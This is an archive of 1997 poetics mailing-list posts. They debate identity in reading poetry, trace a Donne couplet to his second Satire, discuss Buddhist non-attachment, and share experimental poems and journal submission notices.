>>>>>Alan, musing
>>>>>
>>>>>
>>>>>

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>>>>>
>>>
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>>
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>

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887. **Lisa Samuels**
name that Donne
Sat 28 Jun 1997

in a bid to take advantage of the hundreds of minds
which might apply themselves to this question --

is this john donne? whence comes it, then?

> For if one eat my meat, though it be known
> The meat was mine, the excrement is his own.

this is not a test, for i don't know the answer myself.
thanks for your superior information -- & for guesses.

lisa s.

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888. **Kali Tal**
Re: identity/poetics
Sat 28 Jun 1997

> *little boxes*
> *on*
> *the*
> *hillside*

'scuze me, i think i might be missing your meaning here. are you implying (since there's nothing to your message but the subject line "Re: identity/poetics") that a) the critic who is interested in identity sees poets/poems as nothing more than those pastel colored, indistinguishable little square piled-up houses which line the hillsides of S. San Francisco? Or that b) those who feel that their

own identity matters (i.e., "identity poets") live in those tacky little boxes? or c) a third alternative i can't puzzle out?

if a or b, malvina reynolds--mama lion--would be unhappy at the use to which you've put her words since her identity was an explicit motivating force behind her work. the folks who lived in the little boxes were the people whose identity had been *erased*--by capitalism and forced acculturation, in the example of the song.

'course, if it is a or b, then you don't think an author's identity matters, and so using her work in a cause which she would reject wouldn't bother you over-much.

wondering,
kali

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889. Tenney Nathanson
nomail in NY
Sat 28 Jun 1997

---

not that I post much anyway but:

I'm switching to nomail for the next 4-5 weeks--will be working in NY for July and checking email via cybercafes or somesuch.

however: if anyone has info about interesting poetry activities in NY during July, I'd very much appreciate a backchannel.

sorry (for myself) to be departing poetics in the midst of so much heated and interesting activity--esp the Identity thread and the Buddhist thread.

best to all (and I do mean all)

tenney

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

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890. **John Kinsella**
Salt 11
Sat 28 Jun 1997

I'm setting Salt 11 at the moment and will be considering material up to the 10th of August. The Australian editorial address is: PO Box 202 Applecross 6153, Western Australia. For those outside the Southern Hemisphere a more useful address may be: Churchill College, Cambridge CB3 ODS, England. Send work c/- The Editor, John Kinsella.

For those who aren't familiar with Salt's modus operandi it's as follows: Salt welcomes contributions in all fields, though favours poetry, poetic fiction, articles and reviews relating to poetry, and material concerned with contemporary art and art practice. It is primarily a poetry journal. It is produced jointly by Fremantle Arts Centre Press and Folio(Salt) Books, and distributed in Australia by Penguin Books, in the UK by Liverpool University Press and in the U.S. by International Specialized Book Services ([redacted]).

Best
John Kinsella

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891. **John Kinsella**
P.S.
Sat 28 Jun 1997

I should say I'm "editing" Salt 11 at the moment and not "setting" - there are others who should gain the credit for that onerous task!

Best
John K

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892. **Steve Shoemaker**
buddha love
Sat 28 Jun 1997

Awright, pardon a tyro's question here: I've always been intrigued, from a more or less uninformed distanced, by the Buddhist valuing of "non-attachment," which has come up with some frequency in recent posts. My question, then, is how exactly is "love" supposed to work in this scheme of things. Is love for another person really possible without "attachment," in the sense of not wanting to do without? I'm probably approaching the question somewhat superficially, but cldn't resist the chance to query what appears to be a rather large number of people interested in buddhistic living... steve

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893. **Peter Ganick**
Re: body-as-text discussion
Sat 28 Jun 1997

At 01:14 PM 6/28/97 -0400, tbell wrote:
>transplantation appears to involve more than just the physical fragment.\

translation might be a better approximation to transplantation
the body as a whole might be the text-entire
the body/text can change via translation
the fluids of the body/the fluidity of a text, for example,
    revising/cutting/embellishing/adding

how far does the body/text analogy go?
>>is the body inherently a whole?
>>does fragmentation occur naturally/unaturally
>> for instance the generally accepted practice
>> of surgery or amputation?
>>can't "body" be a fluid concept?
>>out-----
>>peter ganick
>>[redacted]

> *"Cyberlife leads to disembodiment, the exact opposite of what the culture needs," - Suzi Gablik*
>
> *"Ray [Paul] concludes 'cultural creatives' demand that all the pieces of their lives fit together to create an authentic whole...one that merges the best of modernism and traditionalism, embraces both East and West..."*
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> *tom bell*

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[redacted]
>>>>>>EXPERIMENTAL (on and off): http://166.84.250.149 Editor, BEING ON LINE
>>>>>>
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>

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894. **Pritchett,Pat**

Re: identities

Sat 28 Jun 1997

Just want to post a somewhat hurried note in response to Kali Tal's "close read" of my two-cents on the identity/poetics issue.

Basically, I'm in agreement with her as far as her saying that my offhand joke about white males not being able to get grants "rests on a bed of identity politics" and I'd like to thank her for pointing out a blind spot in my conceptual outlook. I could argue the joke was indeed offhand and insist that she not read too much into it - but hey, it's waaay too late in the century for that kind of evasive behavior. The reason I included the joke was - as I see it - as a way of expressing some anxiety about wading into waters over my head. And as it turns out, I learned something thereby. Enough psychoanalysis.

My concerns over the issue of identity vis-a-vis poetry still remain these: to read a poem _exclusively_ in terms of the author's identity is not always the best way to approach a text, since a line does exist, admittedly hazy and shifting, between an author and her text (btwn intention and result). Based on what Kali said re: my "straw man" argument, which was simply a misreading of I thought were her operating assumptions, I guess this is not her view altogether either.

It's interesting to me how so often critical approaches of any kind at all seem determined to fill the amorphous interstices between writer and text instantly, out of a kind of horror vacuii. I'm not saying this is what Kali's trying to do. Her intent to understand seems honest and forthright, albeit originating from a different set of vectors than my own and yes, some of those vectors are indeed the product of identity. Bottom line: the history of literature is also in some ways the history of repression and exclusion, ergo: it's incumbent on serious readers to become cognizant of the fact.

In haste,
Patrick Pritchett

Further reports on Naropa reading series upcoming...

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895. **henry g**
Re: identities
Sat 28 Jun 1997

Seems like the whole identity debate is a consequence of the doubleness of artwork. It represents itself on the one hand & it represents the "culture" on the other. It's only resolvable in a fusion of the two. Every identity we recognize in a poem is a "working" identity - either an expansion or intensification or both of the self in the process of experiencing/making. And every biography drawn from a work in art is of interest to us as an example, an experience we "identify" with as an intensification (through loss, through injustice, through authenticity?) of reality. "What modern art has to do in the service of culture is so to rearrange the details of modern life, so to reflect it, that it may satisfy the spirit." (Walter Pater) Your tragedy is my tragedy.

THE STATUES

Pythagoras planned it. Why did the people stare?
His numbers, though they moved or seemed to move
In marble or in bronze, lacked character.
But boys and girls, pale from imagined love
Of solitary beds, knew what they were,
That passion could bring character enough,
And pressed at midnight in some public place
Live lips upon a plummet-measured face.

No! Greater than Pythagoras, for the men
That with a mallet or a chisel modelled these
Calculations that look but casual flesh, put down
All Asiatic vague immensities,

And not the banks of oars that swam upon
The many-headed foam at Salamis.
Europe put off that foam when Phidias
Gave women dreams and dreams their looking-glass.

One image crossed the many-headed, sat
Under the tropic shade, grew round and slow,
No Hamlet thin from eating flies, a fat
Dreamer of the Middle Ages. Empty eyeballs knew
That knowledge increases unreality, that
Mirror on mirror mirrored is all the show.
When gong and conch declare the hour to bless
Grimalkin crawls to Buddha's emptiness.

When Pearse summoned Cuchulain to his side,
What stalked through the Post Office? What intellect,
What calculation, number, measurement, replied?
We Irish, born into that ancient sect
But thrown upon this filthy modern tide
And by its formless spawning fury wrecked,
Climb to our proper dark, that we may trace
The lineaments of a plummet-measured face.

- W.B. Yeats

That's poetry. - H. O'G.

↑ Index

896. **Mark Weiss**
Re: identity/poetics
Sat 28 Jun 1997

In the state in which I sometimes write poetry I occasionally neglect to include information essential to the reader, who at such moments is the least of my concerns. Usually what's happened is an unsupportable assumption of common knowledge. Afterwards I sometimes realize that I have been somewhat more opaque than is good for the poem, and I find a way to add the missing information, whether it be about my status/class/ethnicity/location or anything else that is both essential and of its nature impossible for even the most enraptured reader to figure out. (Note that that hypothetical enraptured reader may in some cases be able to find the information elsewhere in my oeuvre, in which case I don't always feel the need to repeat. Example: I don't endlessly repeat that "Margaret" equals "my wife" or Carlos "my son/stepson." That goes for all the politically hotbutton identifications that can be attached to me, as well) The elucidation of such allows me to present myself and the reader with the truly

complex and otherwise not utterable. If I fail to do this it's because I've screwed up, overestimated the reader, don't feel that the information is essential, no matter how essential others might find it, or speak in code so as to establish an in group-out group dichotomy. On this last, I recently noticed that appreciation of one of my early poems depended upon reader recognition of the first name of a poet I admired who at the time was primarily famous among his friends. What I'm saying is that to the extent possible I include the context, and I think that most poets worth their salt do. But that contextualization also involves areas of knowledge that I assume to be common. Snyder apparently considered China Camp such an area--it was for me, but if it hadn't been the information was readily available if my interest in the poem was sufficient motivation. Another example: because I was fascinated by Spicer's The Heads of the Town I rented Cocteau's Orphee, curiously the only one of his films that I had not seen (source, by the way, of his radio transmission analogy). Time and geography narrow the extent of assumable knowledge. I may no longer know what Shakespeare assumed his audience would know. Hell, I no longer know what WCW assumed I would. One of the jobs of critics is to do the archaeology necessary to supply the assumed context. This context includes the entire cultural matrix. The more I approach naturalizing that matrix (the more Purcell sounds like music and not like history of music, Hobbes like philosophy and not the history of philosophy, and Browne like prose and not the history of prose) the more approachable the text becomes. This includes the political. To the extent that I wish to understand what Dryden, Marvell, Milton or Aphra Behn hoped/assumed I would understand I had better learn what every literate Englishman knew about his or her own political situation (among other things, this knowledge will free me from dividing the distant past into good guys and bad guys as if they were all standing for election--yesterday's radical may not be the father of today's [see The Whig Interpretation of History, which ought to be on everyone's reading list]). None of the foregoing in any way, I think, contradicts Bromige's formulation. Whatever I know, I still meet the text halfway, and the understanding/comprehension/ecstatic apprehension all result from that meeting.

At 11:51 AM 6/28/97 MDT, you wrote:
>>little boxes
>>on
>>the
>>hillside
>
>'scuze me, i think i might be missing your meaning here. are you implying
>(since there's nothing to your message but the subject line "Re:
>identity/poetics") that a) the critic who is interested in identity sees

>poets/poems as nothing more than those pastel colored, indistinguishable
>little square piled-up houses which line the hillsides of S. San Francisco?
>Or that b) those who feel that their own identity matters (i.e., "identity
>poets") live in those tacky little boxes? or c) a third alternative i can't
>puzzle out?
>
>if a or b, malvina reynolds--mama lion--would be unhappy at the use to which
>you've put her words since her identity was an explicit motivating force
>behind her work. the folks who lived in the little boxes were the people
>whose identity had been *erased*--by capitalism and forced acculturation, in
>the example of the song.
>
>'course, if it is a or b, then you don't think an author's identity matters,
>and so using her work in a cause which she would reject wouldn't bother you
>overmuch.
>
>wondering,
>kali
>
>

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897. **Mark Weiss**
Re: identity/poetics
Sat 28 Jun 1997

Just a note on the real estate context. Those little boxes in San Francisco go for $500,000 and up.

At 11:51 AM 6/28/97 MDT, you wrote:
>>little boxes
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>wondering,
>kali
>
>

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898. John Kinsella
Salt submissions
Sat 28 Jun 1997

Please send material to Salt c/- snailmail addresses - hard copy plus disk if possible.

Thanks.

Johm Kinsella (Ed.)

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899. Karlien van den Beukel
Re: Poems/Identities
Sat 28 Jun 1997

Kali

Yes, of course I personified the thesis "alienated intellectual labour" by reference to an indentity known as "Kali" in order to bring into play the antithesis "otium". However, as extra-textual identities seem to concern you more....

The only "extra-textual identity information" I have on you, is the speed with which you responded. Your post was there so soon after mine had been sent. So, apart from having the gift of fluency, you have constructed this virtual space (the poetics list) as the theatre of intense agon. There is the pleasure of the combative oratorial in your writing, Major Barbarella, and I will deny you

that pleasure only in so far as I have decided that I won't be your sparring partner.

Karlien

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900. **David Israel**
Re: name that Donne
Sat 28 Jun 1997

Lisa --

Don't know much abt. Donne (as quoth Herman's Hermits) -- but thanks for the couplet. Seems variously (& maybe broadly) applicable --

> For if one eat my meat, though it be known
> The meat was mine, the excrement is his own.

A theme worthy of variation . . .

Did you scarf my tofu? Granted it
was mine: but yours remains the shit

d.i.

↑ Index

901. **Kali Tal**
Re: identity/poetics
Sat 28 Jun 1997

> *Just a note on the real estate context. Those little boxes in San Francisco go for $500,000 and up.*

Depends what context you mean. When "Little Boxes" was written, they were what they were build to be--cheap factory housing. *Now* they are $500,000 and up.

K.

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902. **Eliza McGrand- CVA Guest**
Re: name that Donne
Sat 28 Jun 1997

---

doesn't remind me of any donne i've read. moreover, he wasn't generally scatological that i've seen... the fly is maybe gros, but not explicit... check the oed on excrement. i'm not sure that would be a pre-18th century word...

if excrement current before 1780's, or 1850's, then my guess would be good old ben jonson or possibly ever-scatological rochester... e

↑ Index

903. **Kali Tal**
Re: Poems/Identities
Sat 28 Jun 1997

> *The only "extra-textual identity information" I have on you, is the speed with which you responded. Your post was there so soon after mine had been sent. So, apart from having the gift of fluency, you have constructed this virtual space (the poetics list) as the theatre of intense agon. There is the pleasure of the combative oratorial in your writing, Major Barbarella, and I will deny you that pleasure only in so far as I have decided that I won't be your sparring partner.*

S'okay with me if you don't want to respond to my posts. But let me clear up a common misapprehension. I'm not engaged in any sort of combat or contest for any sort of prize. As I see it, I'm simply trying to create a space within which my texts may be read, reflecting my struggle to be a visible (as in "perceivable" rather than "prominent") person in the world of f2f encounter. The opening section of Ellison's _Invisible Man_ describes my frustration about as eloquently as I imagine any writer could.

I sit in front of the computer and work all day (and sometimes all night), so quick responses don't mean I'm waiting for posts to show up; they mean that when I'm at my computer and a post *does* show up, I can respond to it immediately if I've got the time. Also, I type about as fast as I talk (and I talk and type fast, but not as fast as Joe), so a response that might take another person a couple of hours can take me 15-20 minutes. During these days that we've been having the identity discussion, I've gotten a huge amount of work done--I find that writing this way increases my productivity, rather than reduces it. Nothing to slow your work (and brain) speed down like sitting there for eight uninterrupted hours trying to figure out just how small you can compress *this* graphic, or whether *that* Web page needs just a little more space between the header and the body text. "Theatre of Agon?" I don't *think* so. More like an exercise pen where I go to stretch my brain with the other lit critters who've been locked up all day.

Peace,
Kali

↑ Index

904. **hg**
identity
Sat 28 Jun 1997

---

this just in:

"A poet writes always of his personal life... never speaks directly as to someone at the breakfast table, there is always a phantasmagoria... he is never the bundle of accident and incoherence that sits down to breakfast; he has been reborn as an idea, something intended, complete. A novelist might describe his accidence, his incoherence, he must not; he is more type than man, more passion than type."

"A poem is an elaboration of the rhythms of common speech and their association with profound feeling. To read a poem like prose, that hearers unaccustomed to poetry may find it easy to understand, is to turn it into bad, florid prose. If anybody reads or recites poetry as if it were prose from some public platform, I ask you, speaking for poets, living, dead or unborn, to protest in whatever way occurs to your perhaps youthful minds; if they recite or read by wireless, I ask you to express your indignation by letter." - W.B. Yeats

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905. **KIM DAWN BAKER**
stone /d/ baby stone head like a (, (fwd)
Sat 28 Jun 1997

---------- Forwarded message ----------
Date: Sat, 28 Jun 1997 22:16:32 -0400 (EDT)
From: KIM DAWN <[redacted]>
To: [redacted]
Subject: stone /d/ baby stone head like a (,

the stone
                also

was pink sore throbbing
the baby.s. (') head.s too soft too supple
i can insert my fingers too gently.
gently.now.

really
a stone is hard
a baby.s head is too soft
liquid almost
more jello than stone
he speaks of form not weight but how can my mouth understand the

difference
my teeth sink easily into one and break upon the other
baby.s. head = bowl of jello [porcelain candy really]
not stone
stone = fist [maybe even angry fist]

so really what has a stone to do with a baby.s head?
they shouldn't even live in the same line.
the stone crushes the head. they stoned him to death. the babies bled before they were born. the sun burnt heir scalp because their mothers didnt care enough to cover them. it was their delicious hidden form of neglect. the babies bled. the babies cried. their mothers turned on their walkmans and stepped upon little hands.
baby.s heads more like soccer balls loosing air.

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906. David Erben (Art)
Re: identity/poetics
Sat 28 Jun 1997

One's interpretation of a particular text depends on the poetics of narrative one is employing. A structuralist/post-structuralist poetics of a certain kind -- for example, Greimasian or de Manian -- would consider questions about narrative self-fashioning to be irrelevant or invalid. A Greimasian reading would be interested in constructing a model of the text in order to show how the various linguistic elements in it are interarticulated. A de Manian reading would show how the rhetoric of the text consistently undoes the thematic/constative claims of the text. But a strictly Greimasian or a strictly de Manian reading would rigorously exclude questions of agency or any question that, in the terms of their theories, involves considering extra- or non-linguistic entities.

Questions of identity would, on the face of it, appear to be throwbacks to the now discredited concerns of humanistic theories. This is not necessarily the case, however. For, in raising issues like identity, I do not think Kali is trying to relate the texts solely to the intentions of the author, nor do I think she is concerned with explaining the textual events by the biographical facts of the author. Kali does seem, however, to be interested in constructing a poetics which takes account of the agency of the author not in order to reduce the narrative to the intentions of the author, but to insert the text and the author into a larger poesis of the culture itself. This does not, it seems to me, involve positing a unified subject, on the contrary, the purpose is to explain the different subject positions and their cultural logics. I do not think that such a task is necessary for all texts. Text is not a homogeneous category. There is, in any case, no a priori

way of discovering what questions it is useful to ask a given text or a cluster of texts. The Greimasian logics and pragmatics of narrative and the de Manian insights into the rhetorics of literary and philosophical texts are formal theories. But they do not by themselves raise any substantive questions regarding the socio historical semiosis and poesis of texts. The post-structuralist attention to ecriture has certainly displaced the metaphysical and humanistic approach to reading. But it has not freed us from the obligation to rethink and reformulate questions of identity and power that are at the heart of cultural poesis and semiosis.

↑ Index

907. **Mark Weiss**
Re: identity/poetics
Sun 29 Jun 1997

> *The post-structuralist attention to ecriture has certainly displaced the metaphysical and humanistic approach to reading.*

The discussions on this list would seem to be ample evidence, if any were needed, that the conquest of the world is not yet complete. "Ecriture." That means "writing" in De Man's native language?

↑ Index

908. **Tom Orange**
couplet-gram
Sun 29 Jun 1997

---

if tofu, yours, by name, 'tis known: whose meat?
was not repast, hence! -- thru bowels shall retreat.

david israel penned:
>
>Did you scarf my tofu? Granted it
>was mine: but yours remains the shit
>
>lisa samuels unearthed:
>>
>>For if one eat my meat, though it be known
>>The meat was mine, the excrement his own
>

↑ Index

909. **Rebecca Weldon**
common knowlege
Sun 29 Jun 1997

I agree that one should not allow for unnecessary obscurity. While recognizing that personal symbology* should have integrity within the entire body of one's work, I reject the hypothesis that global understanding is key to good poetry. Common knowlege can be a cross-cultural problem, giving rise to studies and annotations of texts. Such aids are key to publishing and reading, not writing. Translation, cross-cultural references, esoteric allusion and archaeological texts belong to different categories of understanding. Far be it for me to deprive the academic world (students and professors) of it's intellectual pursuits**.

N.B.With respect to boxes...I prefer the 500,000 dollar on the hill variety.

**David, perhaps Chou Kung of the Western Chou circa 1100 BC, the "inventor" of rites and music?

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910. **Hugh Steinberg**
epithalamium
Sun 29 Jun 1997

My brother has just announced to my family that he is getting married, and he has asked me to write a poem to celebrate the occasion. Fortunately, I have a year to get started.

I'm looking for contemporary epithalamiums to get an idea as to how to proceed: any suggestions?

Thanks!

Hugh Steinberg

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911. **DS**
Re: identity/poetics
Sun 29 Jun 1997

It was late at night & i was really just thinking of what i had always considered one of the major ironies of identity politics - the use of terms related to and including culture that are borrowed from a culture of 'orientalism' in a wider sense - ie. when applied to the non-w.hegemony words that have a geneology in 19th (&18th & 20th) century 'racist' nomenclature. I was thinking about labels and their uses and complicit simplifying of everything. I am not anti-identity (or even with relation to a recent question somebody asked about buddhism - ante-

identity) politics - in fact i think there is much of value in much identity theory (but then i'm sort of a pantheist in relation to a lot of theory - also at times an ignoramist). There were many threads going on that i have trashed (in the little trashcan in the corner of the screen sense) so i am not completely clear about what i was 'inspired' by. There have been many ironies and vague implicit hypocrisies and allegations recently - (isn't it great) My post was inexcusable late night facetiousness.

As for the song. Well whatever mama lion may be happy or unhappy with - i felt it haunted me unfairly for a long part of my developing life, (kind of like andrew lloyd webber would for many kids now-adays) and i just relished the chance to finally use it for my own purposes - however unsavoury that may appear. Luckily now i can only remember the first verse (or is it the chorus) which from memory was about 7 years long.

Dan

the derth for the daughter this berth bother need her

At 11:51 AM 6/28/97 MDT, you wrote:
>>little boxes
>>on
>>the
>>hillside
>
>'scuze me, i think i might be missing your meaning here. are you implying
>(since there's nothing to your message but the subject line "Re:
>identity/poetics") that a) the critic who is interested in identity sees
>poets/poems as nothing more than those pastel colored, indistinguishable
>little square piled-up houses which line the hillsides of S. San Francisco?
>Or that b) those who feel that their own identity matters (i.e., "identity
>poets") live in those tacky little boxes? or c) a third alternative i can't
>puzzle out?
>
>if a or b, malvina reynolds--mama lion--would be unhappy at the use to which
>you've put her words since her identity was an explicit motivating force
>behind her work. the folks who lived in the little boxes were the people
>whose identity had been *erased*--by capitalism and forced acculturation, in
>the example of the song.
>
>'course, if it is a or b, then you don't think an author's identity matters,
>and so using her work in a cause which she would reject wouldn't bother you
>overmuch.
>

>wondering,
>kali
>
>

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912. **KIM DAWN BAKER**

Re: POETICS Digest - 27 Jun 1997 to 28 Jun 1997

Sun 29 Jun 1997

---

is the body inherently a whole?
-peter ganick

the body is full of h o l e s

asshole mouth nostrils eyes nipples

belly button [which breathes]

cock vagina ears
wounds scars tattoos earring holes memory gaps

[the throat is the internal limb between pain and pleasure]

moans screams sighs cries chokes roars gasps mumbles whistles yelps slurps groans chortles snorts pops clicks wheezes babbles hisses hums whimpers whines puffs drones stutters lisps rattles
[thanks to allen weiss' text upon christof migone's cd
'hole in the head'

he spit into a long clear wine bottle for months.
i made him wrap it up.
it made me gag to think of that bottle.

she [halona hilbertz /performance artist from germany currently residing in new york city/] shat in baby bottles and lined them up in her studio. a brilliant tribute to /the pleasures of defecation/. [any threads to be played with here? for selfish reasons. i am currently working on a paper on this topic. in relation. to. deleuze + guattari's body without organs] pull from teeth .here. the presence/absence/refusal [evidence] of the body as a mechanical producing consuming bulimic machine.

the skin is softer than metal

this is the length of a breath_____
_____
_____

[sharon gannon from :open your mouth and let the air out]

please insert fingers here. /mouth]
[ ]
and. pull.
my face over my eyes so i'm no longer scared.

sometimes i want to cover all my body openings. they seem obsene and beautiful.
they share. open. shit. blood. cum. piss. water. food. puke.
alcohol.tears.
lips.
i want to. cover.
and then.
i want to cover your mouth with my mouth with yours.

/tears/ the eyes are tears are torn are two black holes are torn stretched skin they never wanted to see they constantly try to roll back. inside. where they belong. midnight.

i think i hurt mom s belly
and she hasn t forgiven me

i used to ask him to pinch me so hard to slap my face and leave a red hand mark upon its surface i wanted to feel something bodily i sat beside my body

-thanks for your mail alan-am so intrigued by your work-could you send some more?-to the list or just me-and maybe talk about your process somewhat? [sorry i'm not sure how to send to individuals and not the whole list now that i get it in digest format)- -in appreciation of kali's provocative insightful considered posts

oh another thing, in relation to the identity poet/artist : 1. knowing the gender of the individual may [likely will] alter the reading of the work.i find it interesting that my gender is in question even though i claim to be a woman. how does this alter my work. voice. power. [tell them i m woman baby]

2. this discussion has made me think of the trials and tribulation of the eli langer case. canadian artist based in toronto. remember the controversy of his drawings and paintings deemed pornographic. the work taken. the court case. the outrage. because he was male. because these were portrayals of the sexul play between/of children.
she walked through thinking these works were done by a woman.
she felt sorry for the incest experience of the artist.
she realized on her way out that they were done by a male artist.
she felt sick.
she walked back through the gallery afresh.
it had changed.

it became inflicted violence. it became sickness and perversion and she wanted to protect her children from this man.
she no longer felt compassion for the artist.
it was no longer done by a victim. but by a child molester.

3. between the space of the body and the page

'what the state can do to a piece of paper, it can do to a human body.

-pat califia _ janine fuller from the intro to 'forbidden passages /writings banned in canada'. 1995.

4. there is more to the identity of an artwork than the identity of the artist. there is more to the identity of the artist than the artwork. as i write this i think of the entanglement of art + life and the constant occurrence of this in my art and in the work of many. but i'm not so self important to think people will care who i am. how my life has been. though it bleeds through the brewing seeping leakage staining of the teabag of the inscription of my body / though this changes and becomes something someone else s once the work breathes on it s own within the presence/ansence of my body with other [s] bodies/ i have no desire to control or predict the interaction of other bodies to my work. you bring you and take what you want all or nothing or fragments

5. i am thinking of what it means to me and others to read my work as though it were made / written / performed by a man
could someone name some artists who have worked under pseudenom [sp.?] of gender contradiction. have men done this also?
george sand. anais nin? [when she wrote pornography?]

kim dawn

↑ Index

913. **David Israel**
(no subject)
Sun 29 Jun 1997

Hugh --

<< My brother has just announced to my family that he is getting married, and he has asked me to write a poem to celebrate the occasion. Fortunately, I have a year to get started.

I'm looking for contemporary epithalamiums to get an idea as to how to proceed: any suggestions? >>

congrats!

a couple of American poets -- Robert Hass and another fellow (forget who, but I think both are writers for whom I have some respect) have edited an anthology of poetry that is celebratory of marriage. I've not, as yet, much looked at the book, but I suspect it might be an interesting (& likely a good) place to start . . . (looking under Robert Hass's name -- e.g., in Books In Print -- shd. prob. suffice to locate the volume in question).

Have fun!
d.i.

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914. **David Israel**
Re: common knowlege / wash yer ears / sinology
Sun 29 Jun 1997

Rebecca --

<< **David, perhaps Chou Kung of the Western Chou circa 1100 BC, the "inventor" of rites and music? >>

I somewhat doubt it (though not sure). The figure I mention was mainly noted (at least in the Chuang Tse anecdote) for his love of wilderness & solitude & his abhorrence of getting roped into government service (or even much prolonged social interaction). More specifically I seem to recall that he was approached w/ the suggestion of serving as the ruler of a state then in chaos -- & his response (as mentioned in an earlier post -- perhaps I shd. have repeated this, for sake of clarity) was to hasten down to the river and wash out his ears! --

(kind of an ear equivalent of "now go wash out your mouth with soap, you filthy rascal you")

the expression "wash ears" (or "[to] purify [one's / his / my / our] ears"), in the original Chuang Tse tale, was apparently intended to epitomize succinctly the man's abhorrence of worldly ambition -- of the "spiritual dangers" thereof. Certain figures in Chinese lore could be characterized as "famous hermits" -- including those renowned for reluctance to join in the sullying temptation of governing; -- and this chap is certainly one of 'em.

A few such figures were as noted for their privacy (in this sense) as, say, J.D. Salinger among our contemp. sages. (Esquire lately did a cover story abt. the experience of not-quite-meeting Salinger -- the act of hanging out at the end of his driveway being adequate grounds for national reportage.)

The tale highlights a distinction between the outlook of Confucius (that it's the primary obligation of a cultivated man to serve the social nexus) and the view of the Taoists (that one's purpose is to attain oneness with universal existence --

and that getting messed up with politics / conflict / ambition / fame -- these would tend to distract from & hamper that needfully quietistic quest).

/ / / / /

BTW, regarding the Han Shan line (that makes allusion to the Chuang Tse story), I wrote that Gary Snyder was the 1st to translate the poem. This may or may not be quite accurate. Prior to Snyder's Han Shan sequence being published in the late '50s (he rendered maybe 27 verses), there was a smaller sequence that appeared (in a journal) translated by the estimable Sinologist [doesn't that sound more P.C. than Orientalist?] Arthur Waley. There was some overlap of (original) verses rendered by the two. (I'd not assume that Snyder nec. got his interest in Han Shan from the Waley translations -- they might've been drawn to Han Shan independently.) Prior to the Waley & Snyder translations, Han Shan was not a familiar name in Orientalist circles (apparently, Han Shan's memory was kept alive among Japanese Zen poets & painters [where he's an iconic figure] more than it was kept alive in Chinese literary tradition -- traditionally he's not approached as a "major poet" in the same way that some other famous T'ang dynasty figures are; a little booklet, "Han Shan in English," published by White Pine Press some years ago, gives a good discussion of all this).

Burton Watson's subsequent translation of 100 poems from Han Shan (Columbia University Press, prob. late 1970s) is my fave. I likely get my background on the "washing ears" allusion from a Watson footnote. I'd not, anyway, been aware of Snyder's borrowing of that expression (utilizing that allusion) in his own poetry till Dean Brink brought the lines to collective attention. In light of Snyder's interest in Han Shan, it seems safe to presume he had both the Han Shan poem & Han Shan's allusion back to Chuang Tse, in mind (since the former makes no sense w/o the latter). This annotatable "to purify our ears" isn't so bad an example of what can be involved in poetic allusion, don't you think?

On the whole, Snyder doesn't seem to depend on allusion in the way that, say, Ezra Pound evidently does -- but this instance does make me wonder what other Asian literary references might be scattered in some of Snyder's lines. I'm still not quite clear on Dean Brink's point, when denigrating what he described (I believe he said a in "technical" sense) as "winking" in Snyder's poetry -- or how the above-discussed allusion may or may not be an example of such "winking," -- or, further, why it's okay for anyone to wink at Shakespeare & is okay for some of us to wink at Gertrude Stein, but is pretty frown-on-able or suspicious for a westerner to presume to wink at Chuang Tse or Han Shan or Dogen. Probably I need to develop my wink literacy (if not to say my overall grasp of irony & its uses). ;-)

note: as for Chou K'ung -- my mention of a "1,000 b.c." date was scattershot -- I prob. should have left it as at "some time prior to Chuang Tse" -- (I merely gave that dubious annular tag for sake of a touch-earth effect w.r.t. the hopscotch-across-history trope).

You know, Chinese tend to place their pre-Confucian mythical figures a good deal farther back in time than modern historiographers would be likely to credit (of course this is true of ancient figures in Indian lore, too) -- for instance Huang Ti -- the Yellow Emperor -- isn't he supposed to have lived something like 5,000 years ago (or maybe even, 5,000 b.c. ?) -- just as, in India, Krishna & the Mahabharata war are located something like 5,000 years ago, and the reign of Ramachandra (hero of the ancient Ramayana epic) is sometimes tagged at something like 7,000 years ago. Personally I believe these far-antiquitous datings for the Indian figures (western scholars have an irksome habit of saying anyone & everyone -- Krishna, Zarathustra, whoever -- lived [if they really lived at all] in a little swatch of time between (e.g.) 300 - 600 b.c.); -- but I feel much less certain abt. the far-far-antiquity the Chinese ancients . . .

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915. David Israel
Re: buddha love
Sun 29 Jun 1997

Steve Shoemaker writes:

<< . . . I've always been intrigued . . . by the Buddhist valuing of "non-attachment," which has come up with some frequency in recent posts. My question, then, is how exactly is "love" supposed to work in this scheme of things. Is love for another person really possible without "attachment," in the sense of not wanting to do without? >>

not presuming to answer this important (& problematical) question in any sort of authoritative fashion (& my views anyway aren't informed by any adequately thorough knowledge of Buddhism), -- but rather, just to reply conversationally & in the manner of a thought-exercise, I'd say:

there can be many forms & degrees of both attachment & love, but the two are not synonymous. A deep level of love can be combined with a profound degree of detachment; -- indeed, that very combination seems to be encouraged as an ideal in many spiritual traditions. In one poem, the mediaeval Hindu/Sufi poet Kabir says something like:

What is this mystery
allowing me to unite

love with detachment
in life?

thus suggesting both the rarity & high value of such a combination.

d.i.

↑ Index

916. Matt Kirschenbaum
well donne
Sun 29 Jun 1997

Hi Lisa,

For if one eate my meate, though it be knowne
The meate was mine, th'excrement is his owne:

It's Donne, from "Sir; though (I thanke God for it) I do hate."

--Matt

========== Matthew G. Kirschenbaum Univer-
sity of Virginia [redacted] Department of English
http://www.iath.virginia.edu/~mgk3k/ The Blake Archive | IATH

↑ Index

917. GrahamD
Re: epithalamium
Sun 29 Jun 1997

Not to everyone's taste (what anthology is?), but worth a look:

To Woo & to Wed: Contemporary Poets on Love & Marriage, ed. Michael Blumenthal. Poseidon Press, 1992. Some contributors: Creeley, Levertov, Gregg, Heaney, Bishop, Dugan, Gluck, Muldoon, Justice, Ostriker.

David Graham
[redacted]

My brother has just announced to my family that he is getting married, and he has asked me to write a poem to celebrate the occasion. Fortunately, I have a year to get started.

I'm looking for contemporary epithalamiums to get an idea as to how to proceed: any suggestions?

Thanks!

Hugh Steinberg

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918. **groberts**
meat well donne
Sun 29 Jun 1997

Lisa,

Although the couplet does sound more like something Jonson or the Scriblerians would write, it is by Donne, in Satire 2:

which begins,

Sir; though (I thank God for it) I do hate
Perfectly all this town, yet there's one state
In all ill things so excellently best,
That hate, towards them, breeds pity towards the rest.

and goes on to attack poetic imitation (and plagiarism way before there was even a notion of copywrite protection) done for $$$:

And they who write to lords, rewards to get,
Are they not like singers at doors for meat?
And they who write, because all write, have still
That excuse for writing, and for writing ill.
But he is worst, who (beggarly) doth chaw
Others' wits' fruits, and in his ravenous maw
Rankly digested, doth those things out spew,
